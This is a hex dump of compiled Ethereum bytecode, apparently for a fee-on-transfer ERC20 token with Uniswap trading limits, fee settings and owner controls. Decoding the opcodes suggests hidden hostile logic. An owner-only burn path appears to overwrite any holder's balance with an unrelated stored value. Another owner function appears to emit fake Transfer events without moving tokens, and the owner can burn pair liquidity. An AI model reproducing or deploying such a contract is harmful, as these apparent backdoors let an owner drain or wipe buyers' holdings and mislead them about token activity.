b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614f83602383613f91565b9150614f8e82614f29565b604082019050919050565b5f6020820190508181035f830152614fb081614f77565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f614feb601683613f91565b9150614ff682614fb7565b602082019050919050565b5f6020820190508181035f83015261501881614fdf565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f61509f604983613f91565b91506150aa8261501f565b606082019050919050565b5f6020820190508181035f8301526150cc81615093565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61512d603583613f91565b9150615138826150d3565b604082019050919050565b5f6020820190508181035f83015261515a81615121565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f615195601383613f91565b91506151a082615161565b602082019050919050565b5f6020820190508181035f8301526151c281615189565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f615223603683613f91565b915061522e826151c9565b604082019050919050565b5f6020820190508181035f83015261525081615217565b9050919050565b5f61526182614093565b915061526c83614093565b9250828203905081811115615284576152836145be565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6152be601b83613f91565b91506152c98261528a565b602082019050919050565b5f6020820190508181035f8301526152eb816152b2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61534c602183613f91565b9150615357826152f2565b604082019050919050565b5f6020820190508181035f83015261537981615340565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f6153da602283613f91565b91506153e582615380565b604082019050919050565b5f6020820190508181035f830152615407816153ce565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f615468602183613f91565b91506154738261540e565b604082019050919050565b5f6020820190508181035f8301526154958161545c565b9050919050565b5f81905092915050565b50565b5f6154b45f8361549c565b91506154bf826154a6565b5f82019050919050565b5f6154d3826154a9565b9150819050919050565b5f6060820190506154f05f830186614337565b6154fd6020830185614337565b61550a60408301846141d6565b949350505050565b5f8151905061552081614393565b92915050565b5f6020828403121561553b5761553a614031565b5b5f61554884828501615512565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061558c81614069565b92915050565b5f602082840312156155a7576155a6614031565b5b5f6155b48482850161557e565b91505092915050565b5f819050919050565b5f6155e06155db6155d6846155bd565b614162565b614093565b9050919050565b6155f0816155c6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61562881614058565b82525050565b5f615639838361561f565b60208301905092915050565b5f602082019050919050565b5f61565b826155f6565b6156658185615600565b935061567083615610565b805f5b838110156156a0578151615687888261562e565b975061569283615645565b925050600181019050615673565b5085935050505092915050565b5f60a0820190506156c05f8301886141d6565b6156cd60208301876155e7565b81810360408301526156df8186615651565b90506156ee6060830185614337565b6156fb60808301846141d6565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122098ebed415dec2ded2b14a80e3681b61870060254bed4ba5952404f19f3bb669464736f6c634300081400330000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c

Deployed Bytecode

0x6080604052600436106103fd575f3560e01c80638da5cb5b11610212578063c18bc19511610122578063e2b9451c116100aa578063f2fde38b11610079578063f2fde38b14610f2c578063f61f931514610f54578063f637434214610f7c578063f8b45b0514610fa6578063fe72b27a14610fd057610404565b8063e2b9451c14610e86578063e2f4560514610eae578063e884f26014610ed8578063f11a24d314610f0257610404565b8063c8c8ebe4116100f1578063c8c8ebe414610d7e578063d257b34f14610da8578063d85ba06314610de4578063dd62ed3e14610e0e578063e02ae09f14610e4a57610404565b8063c18bc19514610cc8578063c2b7bbb614610cf0578063c847255614610d18578063c876d0b914610d5457610404565b80639fccce32116101a5578063a9059cbb11610174578063a9059cbb14610bea578063aacebbe314610c26578063bbc0c74214610c4e578063c024666814610c78578063c17b5b8c14610ca057610404565b80639fccce3214610b30578063a0d82dc514610b5a578063a457c2d714610b84578063a4c82a0014610bc057610404565b806395d89b41116101e157806395d89b4114610a8a5780639c3b4fdc14610ab45780639dc29fac14610ade5780639ec22c0e14610b0657610404565b80638da5cb5b146109e45780638ea5220f14610a0e5780639213691314610a38578063924de9b714610a6257610404565b8063313ce5671161030d57806370a08231116102a05780637571336a1161026f5780637571336a1461092a57806375f0a874146109525780637bce5a041461097c5780638095d564146109a65780638a8c523c146109ce57610404565b806370a0823114610886578063715018a6146108c2578063730c1888146108d8578063751039fc1461090057610404565b806349bd5a5e116102dc57806349bd5a5e146107cc5780634fbee193146107f65780636a486a8e146108325780636ddd17131461085c57610404565b8063313ce567146107145780633582ad231461073e57806339509351146107685780633eb2b5ad146107a457610404565b8063199ffc721161039057806323b872dd1161035f57806323b872dd1461063257806326ededb81461066e57806327c8f835146106965780632c3e486c146106c05780632e82f1a0146106ea57610404565b8063199ffc721461058c5780631a8145bb146105b65780631f3fed8f146105e0578063203e727e1461060a57610404565b80631694505e116103cc5780631694505e146104e657806318160ddd146105105780631816467f1461053a578063184c16c51461056257610404565b806306fdde0314610408578063095ea7b3146104325780630b0fd47e1461046e57806310d5de53146104aa57610404565b3661040457005b5f80fd5b348015610413575f80fd5b5061041c61100c565b6040516104299190614011565b60405180910390f35b34801561043d575f80fd5b50610458600480360381019061045391906140c6565b61109c565b604051610465919061411e565b60405180910390f35b348015610479575f80fd5b50610494600480360381019061048f9190614137565b6110b9565b6040516104a1919061411e565b60405180910390f35b3480156104b5575f80fd5b506104d060048036038101906104cb9190614137565b6110d6565b6040516104dd919061411e565b60405180910390f35b3480156104f1575f80fd5b506104fa6110f3565b60405161050791906141bd565b60405180910390f35b34801561051b575f80fd5b50610524611117565b60405161053191906141e5565b60405180910390f35b348015610545575f80fd5b50610560600480360381019061055b9190614137565b611120565b005b34801561056d575f80fd5b506105766111e6565b60405161058391906141e5565b60405180910390f35b348015610597575f80fd5b506105a06111ec565b6040516105ad91906141e5565b60405180910390f35b3480156105c1575f80fd5b506105ca6111f2565b6040516105d791906141e5565b60405180910390f35b3480156105eb575f80fd5b506105f46111f8565b60405161060191906141e5565b60405180910390f35b348015610615575f80fd5b50610630600480360381019061062b91906141fe565b6111fe565b005b34801561063d575f80fd5b5061065860048036038101906106539190614229565b611295565b604051610665919061411e565b60405180910390f35b348015610679575f80fd5b50610694600480360381019061068f91906142da565b611369565b005b3480156106a1575f80fd5b506106aa611444565b6040516106b79190614346565b60405180910390f35b3480156106cb575f80fd5b506106d461144a565b6040516106e191906141e5565b60405180910390f35b3480156106f5575f80fd5b506106fe611450565b60405161070b919061411e565b60405180910390f35b34801561071f575f80fd5b50610728611462565b604051610735919061437a565b60405180910390f35b348015610749575f80fd5b5061075261146a565b60405161075f919061411e565b60405180910390f35b348015610773575f80fd5b5061078e600480360381019061078991906140c6565b61147c565b60405161079b919061411e565b60405180910390f35b3480156107af575f80fd5b506107ca60048036038101906107c59190614137565b61152a565b005b3480156107d7575f80fd5b506107e0611575565b6040516107ed9190614346565b60405180910390f35b348015610801575f80fd5b5061081c60048036038101906108179190614137565b61159a565b604051610829919061411e565b60405180910390f35b34801561083d575f80fd5b506108466115ec565b60405161085391906141e5565b60405180910390f35b348015610867575f80fd5b506108706115f2565b60405161087d919061411e565b60405180910390f35b348015610891575f80fd5b506108ac60048036038101906108a79190614137565b611605565b6040516108b991906141e5565b60405180910390f35b3480156108cd575f80fd5b506108d661164b565b005b3480156108e3575f80fd5b506108fe60048036038101906108f991906143bd565b61170d565b005b34801561090b575f80fd5b506109146117d7565b604051610921919061411e565b60405180910390f35b348015610935575f80fd5b50610950600480360381019061094b919061440d565b611800565b005b34801561095d575f80fd5b50610966611860565b6040516109739190614346565b60405180910390f35b348015610987575f80fd5b50610990611885565b60405161099d91906141e5565b60405180910390f35b3480156109b1575f80fd5b506109cc60048036038101906109c7919061444b565b61188b565b005b3480156109d9575f80fd5b506109e2611916565b005b3480156109ef575f80fd5b506109f861195d565b604051610a059190614346565b60405180910390f35b348015610a19575f80fd5b50610a22611984565b604051610a2f9190614346565b60405180910390f35b348015610a43575f80fd5b50610a4c6119a9565b604051610a5991906141e5565b60405180910390f35b348015610a6d575f80fd5b50610a886004803603810190610a83919061449b565b6119af565b005b348015610a95575f80fd5b50610a9e6119d4565b604051610aab9190614011565b60405180910390f35b348015610abf575f80fd5b50610ac8611a64565b604051610ad591906141e5565b60405180910390f35b348015610ae9575f80fd5b50610b046004803603810190610aff91906140c6565b611a6a565b005b348015610b11575f80fd5b50610b1a611a80565b604051610b2791906141e5565b60405180910390f35b348015610b3b575f80fd5b50610b44611a86565b604051610b5191906141e5565b60405180910390f35b348015610b65575f80fd5b50610b6e611a8c565b604051610b7b91906141e5565b60405180910390f35b348015610b8f575f80fd5b50610baa6004803603810190610ba591906140c6565b611a92565b604051610bb7919061411e565b60405180910390f35b348015610bcb575f80fd5b50610bd4611b5a565b604051610be191906141e5565b60405180910390f35b348015610bf5575f80fd5b50610c106004803603810190610c0b91906140c6565b611b60565b604051610c1d919061411e565b60405180910390f35b348015610c31575f80fd5b50610c4c6004803603810190610c479190614137565b611b7d565b005b348015610c59575f80fd5b50610c62611c43565b604051610c6f919061411e565b60405180910390f35b348015610c83575f80fd5b50610c9e6004803603810190610c99919061440d565b611c56565b005b348015610cab575f80fd5b50610cc66004803603810190610cc1919061444b565b611d04565b005b348015610cd3575f80fd5b50610cee6004803603810190610ce991906141fe565b611d8f565b005b348015610cfb575f80fd5b50610d166004803603810190610d119190614137565b611e22565b005b348015610d23575f80fd5b50610d3e6004803603810190610d3991906141fe565b611e99565b604051610d4b9190614346565b60405180910390f35b348015610d5f575f80fd5b50610d68611ec9565b604051610d75919061411e565b60405180910390f35b348015610d89575f80fd5b50610d92611edb565b604051610d9f91906141e5565b60405180910390f35b348015610db3575f80fd5b50610dce6004803603810190610dc991906141fe565b611ee1565b604051610ddb919061411e565b60405180910390f35b348015610def575f80fd5b50610df8611fc1565b604051610e0591906141e5565b60405180910390f35b348015610e19575f80fd5b50610e346004803603810190610e2f91906144c6565b611fc7565b604051610e4191906141e5565b60405180910390f35b348015610e55575f80fd5b50610e706004803603810190610e6b9190614137565b612049565b604051610e7d919061411e565b60405180910390f35b348015610e91575f80fd5b50610eac6004803603810190610ea79190614504565b61209b565b005b348015610eb9575f80fd5b50610ec2612144565b604051610ecf91906141e5565b60405180910390f35b348015610ee3575f80fd5b50610eec61214a565b604051610ef9919061411e565b60405180910390f35b348015610f0d575f80fd5b50610f16612173565b604051610f2391906141e5565b60405180910390f35b348015610f37575f80fd5b50610f526004803603810190610f4d9190614137565b612179565b005b348015610f5f575f80fd5b50610f7a6004803603810190610f7591906140c6565b6122aa565b005b348015610f87575f80fd5b50610f906122c0565b604051610f9d91906141e5565b60405180910390f35b348015610fb1575f80fd5b50610fba6122c6565b604051610fc791906141e5565b60405180910390f35b348015610fdb575f80fd5b50610ff66004803603810190610ff191906141fe565b6122cc565b604051611003919061411e565b60405180910390f35b60606006805461101b9061458e565b80601f01602080910402602001604051908101604052809291908181526020018280546110479061458e565b80156110925780601f1061106957610100808354040283529160200191611092565b820191905f5260205f20905b81548152906001019060200180831161107557829003601f168201915b5050505050905090565b5f6110af6110a861250a565b8484612511565b6001905092915050565b6016602052805f5260405f205f915054906101000a900460ff1681565b6025602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600854905090565b6111286126d4565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112066126d4565b633b9aca006103e86001611218611117565b61122291906145eb565b61122c9190614659565b6112369190614659565b811015611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f906146f9565b60405180910390fd5b670de0b6b3a76400008161128c91906145eb565b600b8190555050565b5f6112a1848484612752565b61135e846112ad61250a565b6113598560405180606001604052806028815260200161572c6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61131061250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b612511565b600190509392505050565b6113716126d4565b5f5b8383905081101561143e5783838281811061139157611390614717565b5b90506020020160208101906113a69190614137565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161142391906141e5565b60405180910390a3808061143690614744565b915050611373565b50505050565b61dead81565b60135481565b60125f9054906101000a900460ff1681565b5f6009905090565b60155f9054906101000a900460ff1681565b5f61152061148861250a565b8461151b8560035f61149861250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a290919063ffffffff16565b612511565b6001905092915050565b6115326126d4565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60245f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116536126d4565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6117156126d4565b61025883101561175a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611751906147fb565b60405180910390fd5b6103e8821115801561176c57505f8210155b6117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290614889565b60405180910390fd5b82601381905550816011819055508060125f6101000a81548160ff021916908315150217905550505050565b5f6117e06126d4565b5f60155f6101000a81548160ff0219169083151502179055506001905090565b6118086126d4565b8060255f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118936126d4565b826018819055508160198190555080601a81905550601a546019546018546118bb91906148a7565b6118c591906148a7565b60178190555060196017541115611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890614924565b60405180910390fd5b505050565b61191e6126d4565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119b76126d4565b80601560026101000a81548160ff02191690831515021790555050565b6060600780546119e39061458e565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0f9061458e565b8015611a5a5780601f10611a3157610100808354040283529160200191611a5a565b820191905f5260205f20905b815481529060010190602001808311611a3d57829003601f168201915b5050505050905090565b601a5481565b611a726126d4565b611a7c82826132ff565b5050565b60105481565b60215481565b601e5481565b5f611b50611a9e61250a565b84611b4b856040518060600160405280602581526020016157546025913960035f611ac761250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b612511565b6001905092915050565b60145481565b5f611b73611b6c61250a565b8484612752565b6001905092915050565b611b856126d4565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560019054906101000a900460ff1681565b611c5e6126d4565b8060245f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611cf8919061411e565b60405180910390a25050565b611d0c6126d4565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611d3491906148a7565b611d3e91906148a7565b601b819055506063601b541115611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d819061498c565b60405180910390fd5b505050565b611d976126d4565b633b9aca006103e86005611da9611117565b611db391906145eb565b611dbd9190614659565b611dc79190614659565b811015611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0090614a1a565b60405180910390fd5b633b9aca0081611e1991906145eb565b600a8190555050565b611e2a6126d4565b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e9660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611800565b50565b6026602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60235f9054906101000a900460ff1681565b600b5481565b5f611eea6126d4565b620186a06001611ef8611117565b611f0291906145eb565b611f0c9190614659565b821015611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4590614aa8565b60405180910390fd5b6103e8600a611f5b611117565b611f6591906145eb565b611f6f9190614659565b821115611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa890614b36565b60405180910390fd5b81600c8190555060019050919050565b60175481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6120a36126d4565b5f5b8383905081101561213e578160165f8686858181106120c7576120c6614717565b5b90506020020160208101906120dc9190614137565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808061213690614744565b9150506120a5565b50505050565b600c5481565b5f6121536126d4565b5f60235f6101000a81548160ff0219169083151502179055506001905090565b60195481565b6121816126d4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e690614bc4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6122b26126d4565b6122bc82826134c2565b5050565b601d5481565b600a5481565b5f6122d56126d4565b600f546010546122e591906148a7565b4211612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d90614c2c565b60405180910390fd5b6103e882111561236b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236290614cba565b60405180910390fd5b426010819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a0823160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016123cd9190614346565b602060405180830381865afa1580156123e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061240c9190614cec565b90505f612436612710612428868561356190919063ffffffff16565b6135d890919063ffffffff16565b90505f81111561246f5761246e60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613621565b5b5f60265f8681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156124e8575f80fd5b505af11580156124fa573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361257f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257690614d87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e490614e15565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126c791906141e5565b60405180910390a3505050565b6126dc61250a565b73ffffffffffffffffffffffffffffffffffffffff166126fa6138ae565b73ffffffffffffffffffffffffffffffffffffffff1614612750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274790614e7d565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b790614f0b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361282e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282590614f99565b60405180910390fd5b5f81036128455761284083835f613621565b61323b565b60155f9054906101000a900460ff1615612e455761286161195d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156128cf575061289f61195d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561290757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612941575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561295a5750600960149054906101000a900460ff16155b15612e4457601560019054906101000a900460ff16612a4e5760245f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612a0e575060245f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4490615001565b60405180910390fd5b5b60235f9054906101000a900460ff1615612c1257612a6a61195d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612af157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b4a575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612c11574360225f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc5906150b5565b60405180910390fd5b4360225f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d0257600b54811115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c90615143565b60405180910390fd5b600a54612cb183611605565b82612cbc91906148a7565b1115612cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf4906151ab565b60405180910390fd5b612e43565b60255f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d9a57600b54811115612d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8c90615239565b60405180910390fd5b612e42565b60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612e4157600a54612df483611605565b82612dff91906148a7565b1115612e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e37906151ab565b60405180910390fd5b5b5b5b5b5b5f612e4f30611605565b90505f600c548210159050808015612e735750601560029054906101000a900460ff165b8015612e8c5750600960149054906101000a900460ff16155b8015612edf575060245f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612f32575060245f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612f75576001600960146101000a81548160ff021916908315150217905550612f5a6138c1565b5f600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff16158015612f9d575060125f9054906101000a900460ff165b15612fae57612fac8585613a3a565b505b5f600960149054906101000a900460ff1615905060245f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061305d575060245f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15613066575f90505b5f811561322b575f601b54111561313c5761309f6064613091601b548861356190919063ffffffff16565b6135d890919063ffffffff16565b9050601b54601d54826130b291906145eb565b6130bc9190614659565b60205f8282546130cc91906148a7565b92505081905550601b54601e54826130e491906145eb565b6130ee9190614659565b60215f8282546130fe91906148a7565b92505081905550601b54601c548261311691906145eb565b6131209190614659565b601f5f82825461313091906148a7565b92505081905550613208565b5f60175411156132075761316e60646131606017548861356190919063ffffffff16565b6135d890919063ffffffff16565b90506017546019548261318191906145eb565b61318b9190614659565b60205f82825461319b91906148a7565b92505081905550601754601a54826131b391906145eb565b6131bd9190614659565b60215f8282546131cd91906148a7565b92505081905550601754601854826131e591906145eb565b6131ef9190614659565b601f5f8282546131ff91906148a7565b925050819055505b5b5f81111561321c5761321b873083613621565b5b80856132289190615257565b94505b613236878787613621565b505050505b505050565b5f838311158290613287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327e9190614011565b60405180910390fd5b505f83856132959190615257565b9050809150509392505050565b5f8082846132b091906148a7565b9050838110156132f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132ec906152d4565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361336d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336490615362565b60405180910390fd5b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156133f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133e8906153f0565b60405180910390fd5b816004546133ff9190615257565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160085f8282546134519190615257565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516134b591906141e5565b60405180910390a3505050565b6134ca6126d4565b8160265f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff167fe31d4764d1f943278fdfdcb88b7ba1ab2d33b62ac47858513d290085cc434e7760405160405180910390a35050565b5f808303613571575f90506135d2565b5f828461357e91906145eb565b905082848261358d9190614659565b146135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c49061547e565b60405180910390fd5b809150505b92915050565b5f61361983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c05565b905092915050565b5f